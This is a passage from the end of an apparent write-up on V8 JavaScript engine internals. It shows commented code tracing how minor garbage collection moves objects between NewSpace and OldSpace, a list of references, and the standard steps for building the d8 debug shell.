// HeapNumber(1.1) lives in OldSpace
// c and its properties lives together with b and {leet:'1337'}
delete b[2];
// {leet:'1337'} is still around
gc({type:'minor'});
// {leet:'1337'} is garbage collected
// b moves to OldSpace
// c and its properties still lives in NewSpace
gc({type:'minor'})
// c and its properties moves to OldSpace
References
- https://v8.dev/blog/pointer-compression
- https://v8.dev/blog/elements-kinds
- https://jhalon.github.io/chrome-browser-exploitation-1/#object-representation
- https://v8.dev/blog/concurrent-marking
- https://v8.dev/blog/trash-talk
Appendix
Building d8 for Debugging
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$(pwd)/depot_tools:$PATH"
fetch v8
cd v8
./build/install-build-deps.sh
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
cd ./out.gn/x64.debug
./d8